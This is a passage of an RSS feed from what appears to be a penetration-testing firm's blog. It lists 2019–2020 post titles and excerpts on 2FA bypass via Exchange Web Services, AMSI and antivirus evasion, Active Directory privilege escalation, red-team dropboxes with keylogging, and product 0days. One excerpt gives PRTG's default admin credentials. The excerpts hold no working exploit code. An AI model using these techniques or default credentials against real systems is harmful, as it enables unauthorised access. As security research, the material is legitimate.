				<description>&lt;p&gt;Something I have found myself doing more and more often is using Exchange Web Services (EWS) to bypass 2FA. I do this so that I could look through mail for accounts I have compromised. The 2FA bypass is due to a common misconfiguration which can leave EWS unprotected, and has been known about for ages, mostly from the &lt;a href=&#34;https://www.blackhillsinfosec.com/bypassing-two-factor-authentication-on-owa-portals/&#34;&gt;Black Hills&lt;/a&gt; post in 2016. However, most of the tooling appears to be written in PowerShell, and being the lazy person I am I prefer not to start up a Windows VM when I want to see if I can access a persons email. Hence I started just using a small script around the amazing &lt;a href=&#34;https://github.com/ecederstrand/exchangelib&#34;&gt;exchangelib&lt;/a&gt; where I would just retrieve the top 10 emails using the example provided in the help documentation. I was doing this often enough that I decided to make a more useful tool. &lt;/p&gt;</description>
			</item>
			<item>
				<title>More On Foreign Hashes</title>
				<link>https://sensepost.com/blog/2020/more-on-foreign-hashes/</link>
				<pubDate>Thu, 08 Oct 2020 07:40:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/more-on-foreign-hashes/</guid>
				<description>&lt;p&gt;This is an update on &lt;a href=&#34;https://sensepost.com/blog/2020/nthashes-and-encodings/&#34;&gt;this previous post&lt;/a&gt; on foreign NT hashes where I got things a little wrong by believing the source encoding matters for an NT hash. It doesn&amp;#8217;t really, let me show you why.&lt;/p&gt;&#xA;&lt;p&gt;I spent a bit of time exploring further, in particular, I took it down to a test case. Jameel gave me his name as a password in Arabic:&lt;/p&gt;&#xA;&lt;figure &gt;&lt;img alt=&#34;&#34;  height=&#34;70&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2020/more-on-foreign-hashes/d1fe9f59e85930e7058f73abd8e18ec8.png&#34; width=&#34;204&#34; /&gt;&lt;figcaption&gt;Included as a picture because WordPress is messing with my UTF8.&lt;br /&gt;&amp;#8220;echo d8acd985d98ad9842031|xxd -ps -r&amp;#8221; can give it to you straight&lt;/figcaption&gt;&lt;/figure&gt;&#xA;&lt;p&gt;That&amp;#8217;s &lt;code&gt;Jameel1&lt;/code&gt; in Arabic. It&amp;#8217;s encoded in UTF8 in most places, whose bytes are:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Pass-the-hash WiFi</title>
				<link>https://sensepost.com/blog/2020/pass-the-hash-wifi/</link>
				<pubDate>Fri, 02 Oct 2020 14:29:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/pass-the-hash-wifi/</guid>
				<description>&lt;p&gt;Thanks to a &lt;a href=&#34;https://twitter.com/dn3t/status/1312011085013225486&#34;&gt;tweet&lt;/a&gt; Dominic responded to, I saw someone mention Passing-the-hash when I think they actually meant relay. The terminology can be confusing for sure, however, it made me realise that I had never Passed-the-hash with a Wi-Fi network.&lt;/p&gt;&#xA;&lt;p&gt;So having learnt my lesson from previous projects I first made sure this was possible for NT -&amp;gt; MSCHAP by looking at the &lt;a href=&#34;https://tools.ietf.org/html/rfc2759&#34;&gt;RFC&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre &gt;&lt;code&gt;8.1.  GenerateNTResponse()&#xA;&#xA;   GenerateNTResponse(&#xA;   IN  16-octet              AuthenticatorChallenge,&#xA;   IN  16-octet              PeerChallenge,&#xA;   IN  0-to-256-char         UserName,&#xA;&#xA;   IN  0-to-256-unicode-char Password,&#xA;   OUT 24-octet              Response )&#xA;   {&#xA;      8-octet  Challenge&#xA;      16-octet PasswordHash&#xA;&#xA;      ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName,&#xA;                     giving Challenge)&#xA;&#xA;      NtPasswordHash( Password, giving PasswordHash )&#xA;      ChallengeResponse( Challenge, PasswordHash, giving Response )&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looks like you can! As you can see in the above, the ChallengeResponse is created using the NT hash and not the password. I then checked &lt;code&gt;wpa_supplicant&lt;/code&gt; to see if this was not a feature already, and it turns out it is! Looking at the &lt;code&gt;wpa_supplicant&lt;/code&gt; configuration file it says:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Let me store that for you</title>
				<link>https://sensepost.com/blog/2020/let-me-store-that-for-you/</link>
				<pubDate>Fri, 11 Sep 2020 15:44:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/let-me-store-that-for-you/</guid>
				<description>&lt;p&gt;A while ago Jonas Lykkegaard disclosed a zeroday that could be used to create files in the SYSTEM folder. CVE-2020-16885 got assigned for this vulnerability, and was since patched with KB4580346. This vulnerability was very convenient for Dynamic-link library (DLL) side-loading, which I will show in this blog post. Below you can find &lt;a href=&#34;https://twitter.com/jonasLyk/status/1300935382561894403&#34;&gt;his&lt;/a&gt; original Twitter message.&lt;/p&gt;&#xA;&lt;figure &gt;&lt;div &gt;&#xA;&lt;blockquote &gt;&lt;p dir=&#34;ltr&#34; lang=&#34;en&#34;&gt;Unprivileged users are not allowed to create files in system32 folder- on hyper-v hosts they finally realised that unprivileged lives matters too as anyone can now create files there , with creater as owner, just open like this: &lt;a href=&#34;https://t.co/Pd6nnqhcKZ&#34;&gt;pic.twitter.com/Pd6nnqhcKZ&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>building a hipster-aware pi home server</title>
				<link>https://sensepost.com/blog/2020/building-a-hipster-aware-pi-home-server/</link>
				<pubDate>Wed, 02 Sep 2020 15:48:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/building-a-hipster-aware-pi-home-server/</guid>
				<description>&lt;p&gt;The end of the year is getting closer, fast, so I figured it was a perfect time to talk about my side project from last year. In this post I want to walk you through setting up a Raspberry Pi as a home server with all of your services running in docker containers with valid Let&amp;#8217;s Encrypt certificates without exposing the Pi to the Internet. We will be setting up a myriad of services such as Pihole, SmokePing and Grafana as well as WireGuard for remote access, so buckle up!&lt;/p&gt;</description>
			</item>
			<item>
				<title>DirectAccess and Kerberos Resource-based Constrained Delegation</title>
				<link>https://sensepost.com/blog/2020/directaccess-and-kerberos-resource-based-constrained-delegation/</link>
				<pubDate>Wed, 19 Aug 2020 15:16:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/directaccess-and-kerberos-resource-based-constrained-delegation/</guid>
				<description>&lt;h3 &gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Are you tired of working from home due to COVID? While this is quite a unique situation we find ourselves in, it also provides some fresh opportunities. Lately we have assessed several environments that was meant to provide a secure way for working from home. For one specific engagement, a client delivered one of their laptops that was domain joined. The laptop was accompanied with credentials of a low privilege domain user. The secure connection to their office was provided using &lt;a href=&#34;https://docs.microsoft.com/en-us/windows-server/remote/remote-access/directaccess/single-server-wizard/da-basic-plan-s1-infrastructure#plan-network-adapters-and-ip-addressing&#34;&gt;DirectAccess&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>NTHashes and Encodings</title>
				<link>https://sensepost.com/blog/2020/nthashes-and-encodings/</link>
				<pubDate>Wed, 19 Aug 2020 11:44:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/nthashes-and-encodings/</guid>
				<description>&lt;p&gt;If you&amp;#8217;ve ever cracked a hash with hashcat, you&amp;#8217;ll know that sometimes it will give you a &lt;code&gt;$HEX[0011223344]&lt;/code&gt; style clear. This is done to preserve the raw byte value of the clear when the encoding isn&amp;#8217;t known (or there&amp;#8217;s a colon &amp;#8220;:&amp;#8221; character).&lt;/p&gt;&#xA;&lt;h3 &gt;Investigation&lt;/h3&gt;&#xA;&lt;p&gt;Driven by an inability to crack the majority of a certain set of hashes I suspected were in a foreign charset, I decided to have a closer look at what was going on. Let&amp;#8217;s take a look at the following examples:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Routopsy – Hacking Routing with Routers</title>
				<link>https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/</link>
				<pubDate>Mon, 03 Aug 2020 18:23:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/</guid>
				<description>&lt;p&gt;&lt;em&gt;This is a summary of our &lt;a href=&#34;https://www.blackhat.com/us-20/briefings/schedule/index.html#routopsy-modern-routing-protocol-vulnerability-analysis-and-exploitation-20810&#34;&gt;BlackHat USA 2020&lt;/a&gt; talk.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 &gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;On some of our engagements, &lt;a href=&#34;https://twitter.com/TH3_GOAT_FARM3R&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Szymon&lt;/a&gt; and &lt;a href=&#34;https://twitter.com/tkempheks&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;I&lt;/a&gt; found ourselves on various networks vulnerable to; insecure, misconfigured, and often overlooked networking protocols. These included dynamic routing protocols (referred to as &lt;a href=&#34;https://techdifferences.com/difference-between-static-and-dynamic-routing.html&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;DRP&lt;/a&gt;&amp;#8216;s) and first hop redundancy protocols (referred to as &lt;a href=&#34;https://www.expertnetworkconsultant.com/configuring/understanding-first-hop-redundancy-protocols-fhrp/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;FHRP&lt;/a&gt;&amp;#8216;s). We decided to focus on these two classes of networking protocols to manipulate traffic flows and identify &lt;em&gt;non-conventional&lt;/em&gt; ways of performing Person-in-the-Middle (PitM) attacks. This post details the results of that research and the tool we wrote to explore this attack surface. The tool is called Routopsy and is available on &lt;a href=&#34;https://github.com/sensepost/routopsy&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost is now an ethical hacking team of Orange Cyberdefense</title>
				<link>https://sensepost.com/blog/2020/sensepost-is-now-an-ethical-hacking-team-of-orange-cyberdefense/</link>
				<pubDate>Fri, 31 Jul 2020 07:35:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/sensepost-is-now-an-ethical-hacking-team-of-orange-cyberdefense/</guid>
				<description>&lt;div &gt;&lt;figure &gt;&lt;img alt=&#34;&#34;  height=&#34;225&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2020/sensepost-is-now-an-ethical-hacking-team-of-orange-cyberdefense/acfc441801e1adc00db79b69a6f6fcdd.gif&#34; width=&#34;225&#34; /&gt;&lt;/figure&gt;&lt;/div&gt;&#xA;&lt;p&gt;From the 1st of August 2020, SensePost will be changing, from the name of our company, to the name of our ethical hacking team and related services. Our company name will change to Orange Cyberdefense and we&amp;#8217;ll be a SensePost team within it. We’re excited to be part of Orange Cyberdefense, with a strong cultural overlap both in a commitment to deep hacking and research, but also high quality work and delightful customer service.&lt;/p&gt;</description>
			</item>
			<item>
				<title>ACE to RCE</title>
				<link>https://sensepost.com/blog/2020/ace-to-rce/</link>
				<pubDate>Fri, 24 Jul 2020 12:28:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/ace-to-rce/</guid>
				<description>&lt;p&gt;tl;dr: In this writeup I am going to describe how to abuse a GenericWrite ACE misconfiguration in Active Directory to run arbitrary executables.&lt;/p&gt;&#xA;&lt;p&gt;During a recent assessment I found a new way to abuse Access Control Entries in a misconfigured Active Directory instance. Before jumping into the juicy bits, I&amp;#8217;d first like to explain what these misconfigurations are, how we find them and finally how to abuse them. If you have preexisting knowledge on this topic you can jump to the section titled  &amp;#8216;&lt;span &gt;A new way of abusing GenericWrite&lt;/span&gt;&amp;#8216;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Seeing (Sig)Red</title>
				<link>https://sensepost.com/blog/2020/seeing-sigred/</link>
				<pubDate>Mon, 20 Jul 2020 14:01:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/seeing-sigred/</guid>
				<description>&lt;p&gt;After the SigRed (CVE-2020-1350) &lt;a href=&#34;https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/&#34;&gt;write-up was published by Check Point&lt;/a&gt;, there was enough detailed information for the smart people, like &lt;a href=&#34;https://twitter.com/HectorCuesta/status/1283730689301544964&#34;&gt;Hector&lt;/a&gt; and others of the &lt;a href=&#34;https://twitter.com/search?q=CVE-2020-1350%20PoC&amp;amp;src=typed_query&amp;amp;f=live&#34;&gt;Twitterverse&lt;/a&gt; (careful with the &lt;a href=&#34;https://blog.zsec.uk/cve-2020-1350-research/&#34;&gt;fake PoC&lt;/a&gt;!), to swiftly write a proof of concept to crash Windows DNS. CP did not publish enough details about how to convert this into an RCE, so it looks like a PoC to execute code is still going to take some time to surface. In this post I will describe how I created a Suricata rule to detect exploitation attempts of CVE-2020-1350.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Avoiding detection via DHCP options</title>
				<link>https://sensepost.com/blog/2020/avoiding-detection-via-dhcp-options/</link>
				<pubDate>Mon, 20 Jul 2020 13:22:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/avoiding-detection-via-dhcp-options/</guid>
				<description>&lt;p&gt;When conducting a red team exercise, we want to blend in as much as possible with the existing systems on the target network. For most large networks, that means looking like a Windows machine when you request a DHCP address.&lt;/p&gt;&#xA;&lt;p&gt;In a lot of cases, though, the machine that we connect to the target network is not going to be running Windows, but more likely, a variant of Linux. By default, Linux DHCP requests don&amp;#8217;t look the same as Windows DHCP requests. One way of visualising this would be to take packet captures from Wireshark, copying DHCP requests into a text file and comparing them using &lt;a href=&#34;https://meldmerge.org/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Meld&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Clash of the (Spam)Titan</title>
				<link>https://sensepost.com/blog/2020/clash-of-the-spamtitan/</link>
				<pubDate>Tue, 14 Jul 2020 07:14:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/clash-of-the-spamtitan/</guid>
				<description>&lt;p&gt;I recently tested an Internet facing Anti-Spam product called&amp;nbsp;&lt;a href=&#34;https://www.spamtitan.com/&#34;&gt;SpamTitan Gateway&lt;/a&gt;. As you could infer from the name of the product, this platform&amp;#8217;s purpose was to detect Spam and or other malicious software sent via email. It has a lot of other features too as you could imagine from this type of product. In this post I will detail some vulnerabilities I discovered that ultimately lead to the ability to have unauthenticated remote code execution.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Covert Login Alerting</title>
				<link>https://sensepost.com/blog/2020/covert-login-alerting/</link>
				<pubDate>Mon, 13 Jul 2020 05:40:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/covert-login-alerting/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;For the longest time I had the idea to implement a notification system that would alert me if someone ever logged in (or tried to login) to an SSH server or XSession on a machine I controlled, using known compromised credentials that were obtained via a data breach or a canary password. In this post I am going to show you how I implemented just that using &lt;a href=&#34;https://canarytokens.org/&#34;&gt;Canary Tokens&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Making the Perfect Red Team Dropbox (Part 2)</title>
				<link>https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-2/</link>
				<pubDate>Thu, 09 Jul 2020 10:28:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-2/</guid>
				<description>&lt;p&gt;In &lt;a href=&#34;https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-1/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;part 1&lt;/a&gt; of this series, we set up the NanoPi R1S as a USB attack tool, covering OS installation, installation of P4wnP1, and even keylogging a &amp;#8220;passed through&amp;#8221; keyboard. In this part, I am going to focus on operations as an Ethernet attack tool, using two scenarios. Firstly, as a box which can be connected to an unused Ethernet port, and provide remote access to the target&amp;#8217;s network, and secondly, as an Ethernet Person in the Middle (PitM), where it can be placed in between a legitimate device and its upstream switch, and mask its own traffic using the legitimate device&amp;#8217;s IP address and MAC address. In the second scenario, we can also defeat Network Access Control measures, because the legitimate device will handle all of that.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Multiple Android User Profiles</title>
				<link>https://sensepost.com/blog/2020/multiple-android-user-profiles/</link>
				<pubDate>Mon, 29 Jun 2020 18:46:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/multiple-android-user-profiles/</guid>
				<description>&lt;p&gt;I was recently on a mobile assessment where you could only register one profile on the app, per device. To use another account you had to first deactivate the profile and then register a new one. I wasn&amp;#8217;t sure whether that would invalidate the original token especially since my goal was to test authorisation issues against the backend. Sure, I could have tested whether the token was invalidated or not, which later I found out it wasn&amp;#8217;t. But there were other restrictions within this environment which made me look for a different approach.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Resurrecting an old AMSI Bypass</title>
				<link>https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/</link>
				<pubDate>Wed, 24 Jun 2020 09:02:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/</guid>
				<description>&lt;p&gt;While working on &lt;a href=&#34;https://sensepost.com/blog/2020/masquerading-windows-processes-like-a-doubleagent./&#34;&gt;DoubleAgent&lt;/a&gt; as part of the &lt;a href=&#34;https://sensepost.com/services/education/master/&#34;&gt;Introduction To Red Teaming&lt;/a&gt; course we&amp;#8217;re developing for &lt;a href=&#34;https://ringzer0.training/sensepost-intro-to-redteaming.html&#34;&gt;RingZer0&lt;/a&gt;, I had a look at Anti-Malware Scan Interface (AMSI) bypasses. One of the objectives I had was to find a new way to evade AMSI. As with my DoubleAgent work, this did not lead to the identification of a novel finding, but instead revealed that old techniques can be revived with minimal work. This blog post describes how to resurrect the original &lt;a href=&#34;https://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html&#34;&gt;DLL hijack&lt;/a&gt; documented by &lt;a href=&#34;https://twitter.com/Cneelis&#34;&gt;Cn33liz&lt;/a&gt; by extending it to simply define the typically exported functions found in &lt;code&gt;amsi.dll&lt;/code&gt; in a fake DLL. This gives a low privileged user an AMSI bypass if they can write to a directory.&lt;/p&gt;</description>
			</item>
			<item>
				<title>The hunt for Chromium issue 1072171</title>
				<link>https://sensepost.com/blog/2020/the-hunt-for-chromium-issue-1072171/</link>
				<pubDate>Fri, 29 May 2020 16:56:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/the-hunt-for-chromium-issue-1072171/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;The last few months I&amp;#8217;ve been &lt;a href=&#34;https://animal0day.blogspot.com/2020/04/setting-up-vulnerable-v8-on-windows.html&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;studying&lt;/a&gt; &lt;a href=&#34;https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Chrome&amp;#8217;s v8 internals&lt;/a&gt; &lt;a href=&#34;https://blog.sensepost.com/?p=36305&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;and exploits&lt;/a&gt; with the focus of finding a type confusion bug. The good news is that I found one, so the fuzzing and analysis efforts didn&amp;#8217;t go to waste. The bad news is that I can reliably trigger the vulnerability but I haven&amp;#8217;t found a way to weaponise it yet.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;#8217;t have prior knowledge of v8, I encourage you to take some time and &lt;a href=&#34;https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;read through the previous post I wrote&lt;/a&gt;. It covers all of the basics regarding the v8 compiler and tools that helped me throughout my research. More importantly, it will help newcomers understand all of the research described within this post.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Being Stubborn Pays Off pt. 2 – Tale of two 0days on PRTG Network Monitor</title>
				<link>https://sensepost.com/blog/2020/being-stubborn-pays-off-pt.-2-tale-of-two-0days-on-prtg-network-monitor/</link>
				<pubDate>Fri, 22 May 2020 09:22:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/being-stubborn-pays-off-pt.-2-tale-of-two-0days-on-prtg-network-monitor/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;Last year I wrote &lt;a href=&#34;https://sensepost.com/blog/2019/being-stubborn-pays-off-pt.-1-cve-2018-19204/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;how to weaponize CVE-2018-19204&lt;/a&gt;. This blog post will continue and elaborate on the finding and analysis of two additional vulnerabilities that were discovered during the process; one leading to an arbitrary write as system where the contents can&amp;#8217;t be fully controlled and the other leading to Remote Code Execution as SYSTEM. Both vulnerabilities require you to have the administrator password for PRTG Network Monitor. Often you just get lucky, as the software defaults to &lt;code&gt;prtgadmin:prtgadmin&lt;/code&gt; for the username and password respectively. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Making the Perfect Red Team Dropbox (Part 1)</title>
				<link>https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-1/</link>
				<pubDate>Mon, 18 May 2020 11:02:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-1/</guid>
				<description>&lt;p&gt;As part of our preparations for our upcoming &lt;a href=&#34;https://www.ringzer0.training/q-division.html&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;RingZer0 &amp;#8220;Q Division&amp;#8221; Training&lt;/a&gt;, I have been working on making a software image for the &lt;a href=&#34;https://www.friendlyarm.com/index.php?route=product/product&amp;amp;product_id=274&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;FriendlyArm NanoPi R1S&lt;/a&gt; Single Board Computer (SBC) that we&amp;#8217;ll be using to demonstrate some close quarters techniques. I will detail the process of configuring an R1S by installing the Armbian distribution as well as P4wnP1 ALOA. We will also take a quick look at getting USBProxy configured to act as a keylogger.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack-From-Home Challenge Walk Through</title>
				<link>https://sensepost.com/blog/2020/hack-from-home-challenge-walk-through/</link>
				<pubDate>Fri, 24 Apr 2020 08:34:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/hack-from-home-challenge-walk-through/</guid>
				<description>&lt;p&gt;On the 27th of April 2020 SensePost created a CTF challenge (https://challenge.sensepost.com) for the public. The names of those who managed to capture flags would be placed in a draw for a seat on one of SensePost&amp;#8217;s upcoming training courses. &lt;/p&gt;&#xA;&lt;p&gt;The challenge was to grab as many of the four flags as you could. Each flag was harder to get than the previous.  &lt;/p&gt;&#xA;&lt;h3 &gt;Engage the brain. &lt;/h3&gt;&#xA;&lt;p&gt;The challenge started with a simple engage the brain ctf, where we needed to try &lt;em&gt;guess&lt;/em&gt; the next page value by looking at the clues on the current page. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Masquerading Windows processes like a DoubleAgent.</title>
				<link>https://sensepost.com/blog/2020/masquerading-windows-processes-like-a-doubleagent./</link>
				<pubDate>Thu, 23 Apr 2020 15:20:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/masquerading-windows-processes-like-a-doubleagent./</guid>
				<description>&lt;p&gt;I&amp;#8217;ve been spending some time building new content for our &lt;a href=&#34;https://ringzer0.training/sensepost-intro-to-redteaming.html&#34;&gt;Introduction to Red Teaming course&lt;/a&gt;, which has been great for diving into AV/EDR bypass techniques again. In this blog post, I will demonstrate how to re-weaponise the old &amp;#8220;DoubleAgent&amp;#8221; technique, making endpoint security products do the hacking work for us.&lt;/p&gt;&#xA;&lt;p&gt;One known vector to shimmy past AV solutions is to use process injections. At BlackHat 2019, a number of process injection techniques were &lt;a href=&#34;https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf&#34;&gt;presented&lt;/a&gt; by Itzik Kotler. A typical code injection implementation using known WINAPI functions, such as the combination of &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc&#34;&gt;VirtualAlloc&lt;/a&gt;, &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory&#34;&gt;WriteProcessMemory&lt;/a&gt; and &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread&#34;&gt;CreateRemoteThread&lt;/a&gt; are well known by endpoint security solutions and will often raise alerts. Whether static or dynamic analysis kicks in, the chances of remaining undetected when using these functions are close to &lt;code&gt;NULL&lt;/code&gt;. Alas, the cat and mouse game keeps going endlessly.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Attacking smart cards in active directory</title>
				<link>https://sensepost.com/blog/2020/attacking-smart-cards-in-active-directory/</link>
				<pubDate>Thu, 26 Mar 2020 13:56:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/attacking-smart-cards-in-active-directory/</guid>
				<description>&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;Recently, I encountered a fully password-less environment. Every employee in this company had their own smart card that they used to login into their computers, emails, internal applications and more. None of the employees at the company had a password at all &amp;#8211; this sounded really cool.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will detail a technique used to impersonate other users by modifying a User Principal Name (UPN) on an Active Directory domain that only uses smart cards.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Chaining multiple techniques and tools for domain takeover using RBCD</title>
				<link>https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/</link>
				<pubDate>Mon, 09 Mar 2020 14:45:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/</guid>
				<description>&lt;p &gt;&lt;strong&gt;Intro&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this blog post I want to show a simulation of a real-world Resource Based Constrained Delegation attack scenario that could be used to escalate privileges on an Active Directory domain.&lt;/p&gt;&#xA;&lt;p&gt;I recently faced a network that had had several assessments done before. Luckily for me, before this engagement I had used some of my research time to understand more advanced Active Directory attack concepts. This blog post isn&amp;#8217;t new and I used lots of existing tools to perform the attack. Worse, there are easier ways to do it as well. But, this assessment required different approaches and I wanted to show defenders and attackers that if you understand the concepts you can take more than one path.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Intro to Chrome’s V8 from an exploit development angle</title>
				<link>https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/</link>
				<pubDate>Fri, 28 Feb 2020 11:37:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/</guid>
				<description>&lt;h1 &gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Last Christmas I was doing quite a bit of research around an &lt;a href=&#34;https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;exploit for Chrome&amp;#8217;s JavaScript engine&lt;/a&gt;, V8. While most of the concepts around the exploit might seem familiar: for example, what is known as a Type Confusion today has the almost exact concept (or outcome) as a &lt;a href=&#34;https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Use-After-Free vulnerability&lt;/a&gt;, one of the differences is that there is no free/malloc exploited directly; there is a huge difference in the root cause of the exploitability of Type Confusion vulnerabilities. This is due to the optimisation phases that happen in the JavaScript engine before the Type Confusion bug is triggered. Because of this, after tackling an exploit and realising there&amp;#8217;s so much about the internals that I needed to know, I tried getting my head around the tooling and the optimisation pipeline happening within V8, by reading the code and working on some examples while supporting myself on an amazing tool called Turbolizer by the v8 dev team.&lt;/p&gt;</description>
			</item>
			<item>
				<title>[Dual-Pod-Shock] Emotional abuse of a DualShock</title>
				<link>https://sensepost.com/blog/2020/dual-pod-shock-emotional-abuse-of-a-dualshock/</link>
				<pubDate>Fri, 24 Jan 2020 10:42:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/dual-pod-shock-emotional-abuse-of-a-dualshock/</guid>
				<description>&lt;p&gt;&lt;em&gt;Hacking PlayStation DualShock controllers to stream audio to their internal speakers.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ciao a tutti.&lt;/p&gt;&#xA;&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;I didn&amp;#8217;t really know what this project was going to be about and where or how it would end up. The only thing I know is that I started working on it because one day I was bored and having a chat with a friend of mine:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Your flat is like a Luna Park for nerds. Just look around and, I am sure, you&amp;#8217;ll figure out what to do.&lt;/em&gt; — He said.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Bypassing access control in BMC Control-D Report Viewer</title>
				<link>https://sensepost.com/blog/2019/bypassing-access-control-in-bmc-control-d-report-viewer/</link>
				<pubDate>Tue, 03 Dec 2019 10:00:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2019/bypassing-access-control-in-bmc-control-d-report-viewer/</guid>
